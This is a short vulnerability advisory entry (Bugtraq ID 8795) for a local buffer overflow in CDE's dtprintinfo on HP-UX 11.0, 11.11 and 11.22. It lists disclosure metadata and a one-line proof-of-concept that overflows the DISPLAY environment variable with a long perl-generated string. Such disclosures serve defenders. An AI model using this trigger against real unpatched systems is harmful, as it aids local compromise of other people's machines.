CDE DTPrintInfo Display Environment Variable Buffer Overflow Vulnerability

BID:8795

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CDE DTPrintInfo Display Environment Variable Buffer Overflow Vulnerability

Bugtraq ID: 8795
Class: Boundary Condition Error
CVE:
Remote: No
Local: Yes
Published: Oct 08 2003 12:00AM
Updated: Oct 08 2003 12:00AM
Credit: Discovery credited to Davide Del Vecchio.
Vulnerable: HP HP-UX 11.22
HP HP-UX 11.11
HP HP-UX 11.0
Not Vulnerable:

Exploit / POC

CDE DTPrintInfo Display Environment Variable Buffer Overflow Vulnerability

The following proof-of-concept has been made available by Davide Del Vecchio:

export DISPLAY="`perl -e 'printf "A" x 9777'`"

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